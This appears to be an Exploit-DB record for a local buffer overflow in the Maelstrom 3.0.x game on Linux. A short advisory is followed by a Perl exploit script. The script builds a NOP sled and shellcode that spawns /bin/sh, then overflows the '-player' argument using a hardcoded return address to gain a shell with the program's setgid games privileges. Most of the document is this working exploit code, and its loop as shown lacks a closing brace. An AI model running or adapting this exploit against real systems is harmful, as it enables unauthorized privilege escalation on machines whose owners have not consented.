Maelstrom Player 3.0.x Argument Buffer Overflow Vulnerability 1

ID EDB-ID:22616
Type exploitdb
Reporter Luca Ercoli
Modified 2003-05-21T00:00:00


Maelstrom Player 3.0.x Argument Buffer Overflow Vulnerability (1). Local exploit for linux platform


Maelstrom for Linux has been reported prone to a buffer overflow vulnerability.

The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games.

It should be noted that although this vulnerability has been reported to affect Maelstrom version 3.0.6 and 3.0.5 previous versions might also be affected. 

#!/usr/bin/perl -w
# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
# This code exploits the -player overflow which i discovered after
# reading the initial advisory detailing  the -server  overflow by
# Luca Ercoli
# [ ] - *21/05/03*

$sc = "\x90"x1500; # write stdout "akcess wuz here..."; execve /bin/sh; exit;
$sc .= "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x2e\x2e\x20\x0a\x68\x65\x72\x65";
$sc .= "\x2e\x68\x75\x7a\x20\x68\x68\x73\x73\x20\x77\x68\x61\x6b\x63\x65";
$sc .= "\x89\xe1\xb2\x18\xb0\x04\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68";
$sc .= "\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24";
$sc .= "\xb0\x0b\xcd\x80";

$ENV{'SC'} = $sc;

$offset = "0";
$ret = 0xbffff9ee;

for ($i = 0; $i < (8177 - 4); $i++) {
    $buf .= "\x90";

$buf .= pack('l', ($ret + $offset));

print("Using return address: 0x", sprintf('%lx',($ret + $offset)),"\n");
exec("/usr/bin/Maelstrom -player 1\@'$buf'");